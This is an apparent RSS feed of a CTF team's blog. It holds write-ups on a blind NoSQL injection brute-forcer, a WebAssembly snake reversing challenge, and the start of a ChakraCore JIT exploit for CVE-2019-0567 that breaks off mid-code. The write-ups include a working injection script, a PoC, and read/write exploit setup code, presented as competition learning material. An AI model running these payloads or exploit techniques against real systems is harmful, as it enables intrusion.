</span></span><span style="display:flex;"><span>                payload = <span style="color:#fc6a5d">&#39;{&#34;search&#34;: &#34;</span><span style="color:#fc6a5d">%s</span><span style="color:#fc6a5d">&#34;}&#39;</span> % (search)
</span></span><span style="display:flex;"><span>                <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;connecting to CTF platform...&#34;</span>)
</span></span><span style="display:flex;"><span>                r = requests.post(url, data = payload, headers=headers, timeout=<span style="color:#d0bf69">10</span>)
</span></span><span style="display:flex;"><span>                <span style="color:#6c7986">#print(payload)</span>
</span></span><span style="display:flex;"><span>                result = json.loads(r.text)
</span></span><span style="display:flex;"><span>                <span style="color:#d0a8ff">print</span>(result[<span style="color:#fc6a5d">&#34;results&#34;</span>])
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">bool</span>(result[<span style="color:#fc6a5d">&#34;results&#34;</span>]):
</span></span><span style="display:flex;"><span>                    <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;Found one more char : </span><span style="color:#fc6a5d">%s</span><span style="color:#fc6a5d">&#34;</span> % (flag+c))
</span></span><span style="display:flex;"><span>                    flag += c
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">except</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">continue</span>
</span></span></code></pre></div><h3 id="final-payload-1">Final payload</h3>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> requests
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> urllib3
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> string
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> json
</span></span><span style="display:flex;"><span>urllib3.disable_warnings()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>url = <span style="color:#fc6a5d">&#34;http://flag-shop.hsctf.com/api/search&#34;</span>
</span></span><span style="display:flex;"><span>headers={<span style="color:#fc6a5d">&#39;content-type&#39;</span>: <span style="color:#fc6a5d">&#39;application/json&#39;</span>}
</span></span><span style="display:flex;"><span>flag = <span style="color:#fc6a5d">&#34;flag{&#34;</span>
</span></span><span style="display:flex;"><span>search = <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;kj&#39;); this.flag.includes(&#39;</span><span style="color:#fc6a5d">{</span>flag<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;) &amp;&amp; this.challenge.includes(&#39;flag&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> <span style="color:#fc5fa3">True</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> c in string.printable:
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">try</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">if</span> c not in [<span style="color:#fc6a5d">&#39;*&#39;</span>,<span style="color:#fc6a5d">&#39;+&#39;</span>,<span style="color:#fc6a5d">&#39;.&#39;</span>,<span style="color:#fc6a5d">&#39;?&#39;</span>,<span style="color:#fc6a5d">&#39;|&#39;</span>,<span style="color:#fc6a5d">&#39;&amp;&#39;</span>,<span style="color:#fc6a5d">&#39;$&#39;</span>, <span style="color:#fc6a5d">&#39;&#34;&#39;</span>, <span style="color:#fc6a5d">&#34;&#39;&#34;</span>, <span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\\</span><span style="color:#fc6a5d">&#34;</span>, <span style="color:#fc6a5d">&#34;|&#34;</span>, <span style="color:#fc6a5d">&#34;/&#34;</span>]:
</span></span><span style="display:flex;"><span>                search = <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;kj&#39;); this.flag.includes(&#39;</span><span style="color:#fc6a5d">{</span>flag + c<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;) &amp;&amp; this.challenge.includes(&#39;flag&#34;</span>
</span></span><span style="display:flex;"><span>                payload = <span style="color:#fc6a5d">&#39;{&#34;search&#34;: &#34;</span><span style="color:#fc6a5d">%s</span><span style="color:#fc6a5d">&#34;}&#39;</span> % (search)
</span></span><span style="display:flex;"><span>                r = requests.post(url, data = payload, headers=headers, timeout=<span style="color:#d0bf69">10</span>)
</span></span><span style="display:flex;"><span>                result = json.loads(r.text)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">bool</span>(result[<span style="color:#fc6a5d">&#34;results&#34;</span>]):
</span></span><span style="display:flex;"><span>                    <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;Found one more char : </span><span style="color:#fc6a5d">%s</span><span style="color:#fc6a5d">&#34;</span> % (flag+c))
</span></span><span style="display:flex;"><span>                    flag += c
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">except</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">continue</span>
</span></span></code></pre></div><p>As you can see, the only difference is that the first payload has more <code>print</code> statements.</p>
<p>This is because, due to the nature of the challenge and the fact that many others were also brute-forcing, the infrastructure became unresponsive for a few seconds, causing exceptions or blocking the request indefinitely.</p>
<p>The &lsquo;print&rsquo; statements were only used for debugging (which is unnecessary when the infrastructure is not being bombarded), and in the second payload, I only left those related to the flag search.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> c not in [<span style="color:#fc6a5d">&#39;*&#39;</span>,<span style="color:#fc6a5d">&#39;+&#39;</span>,<span style="color:#fc6a5d">&#39;.&#39;</span>,<span style="color:#fc6a5d">&#39;?&#39;</span>,<span style="color:#fc6a5d">&#39;|&#39;</span>,<span style="color:#fc6a5d">&#39;&amp;&#39;</span>,<span style="color:#fc6a5d">&#39;$&#39;</span>, <span style="color:#fc6a5d">&#39;&#34;&#39;</span>, <span style="color:#fc6a5d">&#34;&#39;&#34;</span>, <span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\\</span><span style="color:#fc6a5d">&#34;</span>, <span style="color:#fc6a5d">&#34;|&#34;</span>, <span style="color:#fc6a5d">&#34;/&#34;</span>]
</span></span></code></pre></div><p>is used to exclude characters that can cause problems with the payload string or the server, while the <code>try/except</code> is used to avoid losing progress in case of an error.</p>
<p>It was also very useful during the competition because CTRL-C moves on to the next character instead of closing the program.</p>
<p>This way, in case the program got stuck (which happened about ten times during the competition, but not at all when I tried it on the post-competition infrastructure), I would only skip one character instead of having to start over and retrieve the last characters manually.</p>
<p>In this case, I found a very simple blind NoSQL injection, but it is a good challenge if you are new to building custom payloads or have never encountered a blind NoSQL vulnerability before.</p>
<p>Thank you for reading until the end! I am happy to accept any questions or feedback.</p>
]]></content></item><item><title>CSAW '21 Embedded Security Challenge Reports</title><link>https://theromanxpl0.it/posts/2021/11/csaw-21-embedded-security-challenge-reports/</link><pubDate>Fri, 12 Nov 2021 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2021/11/csaw-21-embedded-security-challenge-reports/</guid><description>&lt;style>
.responsive-wrap iframe { max-width: 100%;}
&lt;/style>
&lt;p>The 2021 &lt;a href="https://www.csaw.io/esc">CSAW Embedded Security Challenge&lt;/a> challenge was split in two tracks, and we participated in both.
The following are our qualification and final competition reports, with which we placed 1st in both tracks.&lt;/p>
&lt;h2 id="trx-technical-labs---qualification-report">TRX Technical Labs - Qualification report&lt;/h2>
&lt;div class="responsive-wrap">
&lt;iframe src="https://drive.google.com/file/d/1x29fsZ7ORhQANiUkY0gfev2fkYjB37sG/preview" width="100%" height="1080">&lt;/iframe>
&lt;/div>
&lt;h2 id="trx-technical-labs---final-report">TRX Technical Labs - Final report&lt;/h2>
&lt;div class="responsive-wrap">
&lt;iframe src="https://drive.google.com/file/d/1ijZJDntJ3x8DswgDEQmS1atohawOnu4C/preview" width="100%" height="1080">&lt;/iframe>
&lt;/div>
&lt;h2 id="trx-research-labs---qualification-report">TRX Research Labs - Qualification report&lt;/h2>
&lt;div class="responsive-wrap">
&lt;iframe src="https://drive.google.com/file/d/14P0czgqsqaV5z-nNYoR5ZWr1eyYwGi4M/preview" width="100%" height="1080">&lt;/iframe>
&lt;/div>
&lt;h2 id="trx-research-labs---final-report">TRX Research Labs - Final report&lt;/h2>
&lt;div class="responsive-wrap">
&lt;iframe src="https://drive.google.com/file/d/1nDcuTRZjuRn9f-y7Yv3vMKK9918J0s60/preview" width="100%" height="1080">&lt;/iframe>
&lt;/div></description><content type="html"><![CDATA[<style>
    .responsive-wrap iframe { max-width: 100%;}
</style>
<p>The 2021 <a href="https://www.csaw.io/esc">CSAW Embedded Security Challenge</a> challenge was split in two tracks, and we participated in both.
The following are our qualification and final competition reports, with which we placed 1st in both tracks.</p>
<h2 id="trx-technical-labs---qualification-report">TRX Technical Labs - Qualification report</h2>
<div class="responsive-wrap">
    <iframe src="https://drive.google.com/file/d/1x29fsZ7ORhQANiUkY0gfev2fkYjB37sG/preview" width="100%" height="1080"></iframe>
</div>
<h2 id="trx-technical-labs---final-report">TRX Technical Labs - Final report</h2>
<div class="responsive-wrap">
    <iframe src="https://drive.google.com/file/d/1ijZJDntJ3x8DswgDEQmS1atohawOnu4C/preview" width="100%" height="1080"></iframe>
</div>
<h2 id="trx-research-labs---qualification-report">TRX Research Labs - Qualification report</h2>
<div class="responsive-wrap">
    <iframe src="https://drive.google.com/file/d/14P0czgqsqaV5z-nNYoR5ZWr1eyYwGi4M/preview" width="100%" height="1080"></iframe>
</div>
<h2 id="trx-research-labs---final-report">TRX Research Labs - Final report</h2>
<div class="responsive-wrap">
    <iframe src="https://drive.google.com/file/d/1nDcuTRZjuRn9f-y7Yv3vMKK9918J0s60/preview" width="100%" height="1080"></iframe>
</div>
]]></content></item><item><title>CSAW '20 Embedded Security Challenge Report</title><link>https://theromanxpl0.it/posts/2020/11/csaw-20-embedded-security-challenge-report/</link><pubDate>Thu, 12 Nov 2020 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2020/11/csaw-20-embedded-security-challenge-report/</guid><description>&lt;p>This year, we participated for the second time in the &lt;a href="https://www.csaw.io/esc">CSAW Embedded Security Challenge&lt;/a> finals.
This is our final report for the challenge, documenting our approach for all the challenges and the improvements we made to the emulator.&lt;/p>
&lt;p>We did it again: just like last year, we completed all the qualifying challenges and the live challenge, and ranked first in the finals.&lt;/p>
&lt;style>
.responsive-wrap iframe { max-width: 100%;}
&lt;/style>
&lt;div class="responsive-wrap">
&lt;iframe src="https://theromanxpl0.it/csaw20/Team_TRX_Sapienza___CSAW_ESC_2020_Final_Report.pdf" width="100%" height="1080">&lt;/iframe>
&lt;/div></description><content type="html"><![CDATA[<p>This year, we participated for the second time in the <a href="https://www.csaw.io/esc">CSAW Embedded Security Challenge</a> finals.
This is our final report for the challenge, documenting our approach for all the challenges and the improvements we made to the emulator.</p>
<p>We did it again: just like last year, we completed all the qualifying challenges and the live challenge, and ranked first in the finals.</p>
<style>
    .responsive-wrap iframe { max-width: 100%;}
</style>
<div class="responsive-wrap">
    <iframe src="/csaw20/Team_TRX_Sapienza___CSAW_ESC_2020_Final_Report.pdf" width="100%" height="1080"></iframe>
</div>
]]></content></item><item><title>BSIDES 2020 - Snake</title><link>https://theromanxpl0.it/posts/2020/06/bsides-2020-snake/</link><pubDate>Sat, 13 Jun 2020 15:08:35 +0200</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2020/06/bsides-2020-snake/</guid><description>&lt;p>This was a very interesting challenge and also the first time i reversed a web assembly binary.&lt;/p>
&lt;h2 id="info">Info&lt;/h2>
&lt;p>Points: 400&lt;/p>
&lt;p>Description:&lt;/p>
&lt;p>It is not a classic Snake game&amp;hellip; Something is different.. Did you see it?! Do you think it is random? Well, think again:)&lt;/p>
&lt;h2 id="the-snake-bot">The Snake Bot&lt;/h2>
&lt;p>The site of the challenge has a simple snake game implemented in JavaScript and WebAsm.&lt;/p>
&lt;p>The description of the challenge teels us to look at the differences with the traditional snake game, the only difference is that there are two different types of fruit.&lt;/p></description><content type="html"><![CDATA[<p>This was a very interesting challenge and also the first time i reversed a web assembly binary.</p>
<h2 id="info">Info</h2>
<p>Points: 400</p>
<p>Description:</p>
<p>It is not a classic Snake game&hellip; Something is different.. Did you see it?! Do you think it is random? Well, think again:)</p>
<h2 id="the-snake-bot">The Snake Bot</h2>
<p>The site of the challenge has a simple snake game implemented in JavaScript and WebAsm.</p>
<p>The description of the challenge teels us to look at the differences with the traditional snake game, the only difference is that there are two different types of fruit.</p>
<p>Also, the order of the fruits stays the same, this suggests that the flag is encoded as binary sequence of theese fruits, in fact:</p>
<pre tabindex="0"><code>*  *        
 **         &lt;--- this is a 0
 **
*  * 

 **
 **          &lt;--- this is a 1
*  *
*  * 
</code></pre><p>So, the first idea, without even looking at the wasm, was to create a snake bot to recover the sequence of the fruits, the result was very entertaining to whatch:</p>
<img src="/bsides2020/snake.gif" alt="snake"/>
<p>But unfortunately the sequence that we extracted was garbage:</p>
<pre tabindex="0"><code>BSidesU.Ñ9QÄ%6.FW5Y]..Ð..
</code></pre><p>Still the start of the string is correct which means we are on the right track, i guess we actually need to reverse the wasm.</p>
<h2 id="time-to-reverse">Time to reverse</h2>
<p>By placing a bunch of breakpoints in the code we find out that the function that checks if the snake is on the fruit is <em><strong>func15</strong></em> and by looking at it we can see that the value of the fruit is decided here, by calling <em><strong>func7</strong></em>:</p>
<pre tabindex="0"><code>      local.get 36
      local.get 35
      i32.store offset=1116
      call 7                  &lt;--------------------- call function 7 for the value of the fruit
      local.set 37
      i32.const 0
      local.set 38
      local.get 38
      local.get 37
      i32.store offset=1112         &lt;-------- save the value returned in memory to pass it to the front end later
      i32.const 0
      local.set 39
      local.get 39
</code></pre><p>Looking at function 7 it is filled with the logic to trasform an integer to the corresponding binary, but it also has this block that is called every 8 fruits, in fact this block is used to generate a new number/letter for the flag, if we can reverse this we have the flag:</p>
<pre tabindex="0"><code>    block  ;; label = @1
      
      ------------------------------------------------------
      local.get 7                 &lt;--- activates every 8 fruits
      br_if 0 (;@1;)
      ------------------------------------------------------
      
      i32.const 0
      local.set 8                 &lt;---- takes a value A from memory (this is actually the value of the previus number)
      local.get 8
      i32.load8_u offset=1132
      
      ------------------------------------------------------
      
      local.set 9
      i32.const 24
      local.set 10
      local.get 9             
      local.get 10              &lt;-----  some clean up on A
      i32.shl
      local.set 11
      local.get 11
      local.get 10
      i32.shr_s
      local.set 12
      
      ---------------------------------------------------------
      local.get 2
      i32.load offset=8          &lt;------- Takes value B from memory (This is actually the count of how many fruits have been eaten % 56 )
      local.set 13
      i32.const 8
      local.set 14
      local.get 13
      local.get 14
      i32.div_s                  &lt;------- Divides by 8 to obtain the number of letters generated until now
      local.set 15
      local.get 15
      i32.load8_u offset=1024    &lt;------- Uses value B as and index to retrieve value C from the vector stored at this location (C = vect[B])
      local.set 16
      i32.const 255
      local.set 17
      local.get 16
      local.get 17
      i32.and                    &lt;------- Some clean up on C
      ------------------------------------------------------------
 
      local.set 18
      local.get 12
      local.get 18
      i32.xor                   &lt;----- takes the last number generated and does the xor with the value of the vector ( A ^ C )
      local.set 19
      i32.const 0
      local.set 20
      local.get 20
      local.get 19
      i32.store8 offset=1132    &lt;----- saves the result of the vectors to generate the next 8 fruits
    end
</code></pre><p>After this we just need the starting value of the offset 1132 which we can find in the <em><strong>game_init</strong></em> function:</p>
<pre tabindex="0"><code>    i32.const 115
    set_local $var3
    
    .
    .
    .
    
    i32.const 0
    set_local $var50
    get_local $var50
    get_local $var3
    i32.store8 offset=1132
</code></pre><p>The starting value is 115, with this i recreated the code in python and obtained the values generated by the game, the result is:</p>
<pre tabindex="0"><code>BSidesTetNCBTsBSidesTetNCBTsBSidesTetNCBTsBSidesTetNCB
</code></pre><p>Which is still not the flag and is also different from what the Snake Bot returns (for some reason?).</p>
<p>But where is the flag? Well, if we look at the memory where the vector for the xor is located we can see that is actually a lot longer than required, in fact it is:</p>
<pre tabindex="0"><code>[49, 17, 58, 13, 1, 22, 39, 24, 26, 100, 2, 2, 2, 75, 44, 102, 66, 23, 11, 2, 50, 54, 92, 106, 48, 1, 2, 21, 38, 47, 63, 60, 70, 80, 22, 0, 64, 87, 59, 61, 27, 38, 43, 28, 91, 108, 51, 95, 7, 70, 28, 11, 1, 25]
</code></pre><p>Seeing this i tried the same xoring algorithm with the whole vector:</p>
<pre tabindex="0"><code>for i in range(0, len(xor_values)):
	start = start^xor_values[i]
	flag += chr(start)
</code></pre><p>And this gave me the flag:</p>
<pre tabindex="0"><code>BSidesTLV2020{W1sdom_i5_only_pOs5ess3d_by_th3_l34rned}
</code></pre>]]></content></item><item><title>CSAW '19 Embedded Security Challenge Report</title><link>https://theromanxpl0.it/posts/2019/11/csaw-19-embedded-security-challenge-report/</link><pubDate>Mon, 11 Nov 2019 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2019/11/csaw-19-embedded-security-challenge-report/</guid><description>&lt;p>We upload our final report for the CSAW 19 Embeded Security Challenge.&lt;/p>
&lt;p>We had a faulty board so we emulated the challenges. Spoiler: we got the first place in EU.&lt;/p>
&lt;style>
.responsive-wrap iframe { max-width: 100%;}
&lt;/style>
&lt;div class="responsive-wrap">
&lt;iframe src="https://theromanxpl0.it/csaw19/TRX__CSAW_Embedded_Security_Challenge_Final.pdf" width="100%" height="1357">&lt;/iframe>
&lt;/div></description><content type="html"><![CDATA[<p>We upload our final report for the CSAW 19 Embeded Security Challenge.</p>
<p>We had a faulty board so we emulated the challenges. Spoiler: we got the first place in EU.</p>
<style>
    .responsive-wrap iframe { max-width: 100%;}
</style>
<div class="responsive-wrap">
    <iframe src="/csaw19/TRX__CSAW_Embedded_Security_Challenge_Final.pdf" width="100%" height="1357"></iframe>
</div>
]]></content></item><item><title>Facebook CTF</title><link>https://theromanxpl0.it/posts/2019/10/facebook-ctf/</link><pubDate>Thu, 31 Oct 2019 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2019/10/facebook-ctf/</guid><description>&lt;p>So we got a token from Facebook ctf&lt;/p>
&lt;img class="img-responsive" src="https://theromanxpl0.it/fbctf19/facebook_coin.jpg" alt="Photo of commemorative coin looking like a gear given to competitors at the 2019 Facebook Capture The Flag" width="603" height="339.183"></description><content type="html">&lt;p>So we got a token from Facebook ctf&lt;/p>
&lt;img class="img-responsive" src="/fbctf19/facebook_coin.jpg" alt="Photo of commemorative coin looking like a gear given to competitors at the 2019 Facebook Capture The Flag" width="603" height="339.183">
</content></item><item><title>Trend Micro CTF 2019 libChakraCore.so</title><link>https://theromanxpl0.it/posts/2019/09/trend-micro-ctf-2019-libchakracore.so/</link><pubDate>Mon, 09 Sep 2019 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2019/09/trend-micro-ctf-2019-libchakracore.so/</guid><description>&lt;p>If you already know the details of this challenge and bug, you can skip to the &lt;code>Exploit&lt;/code> section&lt;/p>
&lt;p>Due to all the materials published about Javascript engines exploitation, recently I have been trying more browser exploitation challenges.&lt;/p>
&lt;h2 id="the-challenge">The challenge&lt;/h2>
&lt;p>We are given two binaries&lt;/p>
&lt;ol>
&lt;li>ch - which takes a null terminated javascript source file from stdin, writes it into a tmp directory and then executes it&lt;/li>
&lt;li>libChakraCore.so - a compiled version of &lt;a href="https://github.com/microsoft/ChakraCore">ChakraCore&lt;/a>, a javascript engine from Microsoft&lt;/li>
&lt;/ol>
&lt;p>We are also given a .diff file&lt;/p></description><content type="html"><![CDATA[<p>If you already know the details of this challenge and bug, you can skip to the <code>Exploit</code> section</p>
<p>Due to all the materials published about Javascript engines exploitation, recently I have been trying more browser exploitation challenges.</p>
<h2 id="the-challenge">The challenge</h2>
<p>We are given two binaries</p>
<ol>
<li>ch - which takes a null terminated javascript source file from stdin, writes it into a tmp directory and then executes it</li>
<li>libChakraCore.so - a compiled version of <a href="https://github.com/microsoft/ChakraCore">ChakraCore</a>, a javascript engine from Microsoft</li>
</ol>
<p>We are also given a .diff file</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span>diff --git a/lib/Backend/GlobOptFields.cpp b/lib/Backend/GlobOptFields.cpp
</span></span><span style="display:flex;"><span>index 88bf72d32..6fcb61151 100644
</span></span><span style="display:flex;"><span>--- a/lib/Backend/GlobOptFields.cpp
</span></span><span style="display:flex;"><span>+++ b/lib/Backend/GlobOptFields.cpp
</span></span><span style="display:flex;"><span>@@ -564,7 +564,7 @@ GlobOpt::ProcessFieldKills(IR::Instr *instr, BVSparse&lt;JitArenaAllocator&gt; *bv, bo
</span></span><span style="display:flex;"><span>         break;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>     case Js::OpCode::InitClass:
</span></span><span style="display:flex;"><span>-    case Js::OpCode::InitProto:
</span></span><span style="display:flex;"><span>+    //case Js::OpCode::InitProto:
</span></span><span style="display:flex;"><span>     case Js::OpCode::NewScObjectNoCtor:
</span></span><span style="display:flex;"><span>     case Js::OpCode::NewScObjectNoCtorFull:
</span></span><span style="display:flex;"><span>         if (inGlobOpt)
</span></span></code></pre></div><p>So the organizers have disabled a case in a function called ProcessFieldKills</p>
<h2 id="the-bug">The bug</h2>
<p>Searching for Chakra InitProto on google we can find several CVE.
One of them is CVE-2019-0567 reported by lokihardt from Google Security who is also the author of this PoC</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PoC <span style="color:#fc5fa3">for</span> InitProto:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">function</span> opt(o, proto, value) {
</span></span><span style="display:flex;"><span>    o.b = <span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">let</span> tmp = {__proto__: proto};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    o.a = value;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">function</span> main() {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> (<span style="color:#fc5fa3">let</span> i = <span style="color:#d0bf69">0</span>; i &lt; <span style="color:#d0bf69">2000</span>; i++) {
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">let</span> o = {a: <span style="color:#d0bf69">1</span>, b: <span style="color:#d0bf69">2</span>};
</span></span><span style="display:flex;"><span>        opt(o, {}, {});
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">let</span> o = {a: <span style="color:#d0bf69">1</span>, b: <span style="color:#d0bf69">2</span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    opt(o, o, <span style="color:#d0bf69">0x1234</span>); <span style="color:#6c7986">// &lt;-- This value is used as a pointer
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>    print(o.a);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>main();
</span></span></code></pre></div><p>If you feed the PoC into the challenge binary you&rsquo;ll get a SegFault before the print function terminates when libChakraCore.so tries to access [rax] with rax = 0x100&hellip;1234</p>
<p>(the 0x1 is used to differentiate numbers from pointers)</p>
<p>lokihardt explains that if we set <code>proto</code> as the prototype of <code>tmp</code>, <code>proto</code>&rsquo;s layout in memory changes.</p>
<p>The jit compiler didn&rsquo;t take this side effect into account at the time.</p>
<p>The challenge is basically a revert of the fixes that Microsoft applied.</p>
<h2 id="useful-reading">Useful Reading</h2>
<p>So to understand this issue a little bit better I read some general ChakraCore exploitation material such as</p>
<ul>
<li><a href="https://github.com/bkth/Attacking-Edge-Through-the-JavaScript-Compiler">Bruno Keith Presentation on the subject</a></li>
</ul>
<p>And also some specific analysis of this bug and two very similar bugs also discovered by lokihardt (basically corresponding to the other 3 cases that were not commented out)</p>
<p>It happens that for CVE-2019-0539 there are two nice blog posts from Perception Point</p>
<ol>
<li><a href="https://perception-point.io/resources/research/cve-2019-0539-root-cause-analysis/">CVE-2019-0539 root cause analysis</a></li>
<li><a href="https://perception-point.io/resources/research/cve-2019-0539-exploitation/">CVE-2019-0539 exploitation</a></li>
</ol>
<p>CVE-2019-0539 is a sibling bug of the one in the challenge, specifically the InitClass case I think</p>
<h2 id="summary">Summary</h2>
<pre tabindex="0"><code>// chqmatteo: This diagram is borrowed from Perception Point (a similar diagram is in Bruno Keith slides)
// Memory layout of DynamicObject can be one of the following:
//        (#1)                (#2)                (#3)
//  +--------------+    +--------------+    +--------------+
//  | vtable, etc. |    | vtable, etc. |    | vtable, etc. |
//  |--------------|    |--------------|    |--------------|
//  | auxSlots     |    | auxSlots     |    | inline slots |
//  | union        |    | union        |    |              |
//  +--------------+    |--------------|    |              |
//                      | inline slots |    |              |
//                      +--------------+    +--------------+
// The allocation size of inline slots is variable and dependent on profile data for the
// object. The offset of the inline slots is managed by DynamicTypeHandler.
</code></pre><p>At the start, argument <code>proto</code> in <code>opt(o, proto, value)</code> has memory layout #3, setting it as a prototype makes it transition to layout #1</p>
<p>(in the different bug discussed by Bruno Keith, the transition is #3 -&gt; #2 so there are some differences wrt offsets)</p>
<p>When <code>opt</code> gets jit compiled, the line <code>o.a = value;</code> is translated to a copy of <code>value</code> into the first inline slot of <code>o</code>, because for 2000 calls the layout in memory of <code>o</code> didn&rsquo;t change from layout #1</p>
<p>The actual bug is that the logic to bail out from the optimizations when <code>o</code>&rsquo;s memory layout actually changes is not present in the jit compiled code.</p>
<p>That&rsquo;s why, when we finally call <code>opt</code> with <code>{a:1, b:2}</code> as both <code>o</code> and <code>proto</code>, we can write anything we want into the now <code>auxSlots</code> field of <code>o</code> (previously the first inline slot of <code>o</code>)</p>
<h3 id="turning-this-into-arbitraty-address-read-write">Turning this into arbitraty address read write</h3>
<p>To turn this bug into an arbitrary address read write is a bit involved, the gist is that we have to use an object as a stepping stone to corrupt the metadata of two ArrayBuffers (called <code>target</code> and <code>hax</code> in Bruno Keith slides, <code>dv1</code> and <code>dv2</code> in Perception Point post)</p>
<p>The first ArrayBuffer is used to change the <code>buffer</code> pointer of the second ArrayBuffer. The <code>buffer</code> is the pointer to where the values of an array are actually stored.</p>
<p>The second ArrayBuffer is used to read from or write into the address that we want.</p>
<p>You can refer to the slides and the second blog post for a more detailed explaination.</p>
<h2 id="exploit">Exploit</h2>
<p>I&rsquo;ll divide the exploit in three parts (Setup, Arbitrary address read and write, Code Execution) and explain a bit what each stage does</p>
<h2 id="setup">Setup</h2>
<p>We first setup the four objects that we need <code>o</code>, <code>obj</code>, <code>dv1</code>, <code>dv2</code>. I&rsquo;ll use Perception Point terminology because they included a PoC exploit which can be adapted to this bug</p>
<p>You can diff the two scripts to get the differences</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>obj = {}
</span></span><span style="display:flex;"><span>obj.a = <span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>obj.b = <span style="color:#d0bf69">2</span>;
</span></span><span style="display:flex;"><span>obj.c = <span style="color:#d0bf69">3</span>;
</span></span><span style="display:flex;"><span>obj.d = <span style="color:#d0bf69">4</span>;
</span></span><span style="display:flex;"><span>obj.e = <span style="color:#d0bf69">5</span>;
</span></span><span style="display:flex;"><span>obj.f = <span style="color:#d0bf69">6</span>;
</span></span><span style="display:flex;"><span>obj.g = <span style="color:#d0bf69">7</span>;
</span></span><span style="display:flex;"><span>obj.h = <span style="color:#d0bf69">8</span>;
</span></span><span style="display:flex;"><span>obj.i = <span style="color:#d0bf69">9</span>;
</span></span><span style="display:flex;"><span>obj.j = <span style="color:#d0bf69">10</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>dv1 = <span style="color:#fc5fa3">new</span> DataView(<span style="color:#fc5fa3">new</span> ArrayBuffer(<span style="color:#d0bf69">0x100</span>));
</span></span><span style="display:flex;"><span>dv2 = <span style="color:#fc5fa3">new</span> DataView(<span style="color:#fc5fa3">new</span> ArrayBuffer(<span style="color:#d0bf69">0x100</span>));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>BASE = <span style="color:#d0bf69">0x100000000</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">function</span> hex(x) {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> <span style="color:#fc6a5d">&#34;0x&#34;</span> + x.toString(<span style="color:#d0bf69">16</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">function</span> opt(o, c, value) {
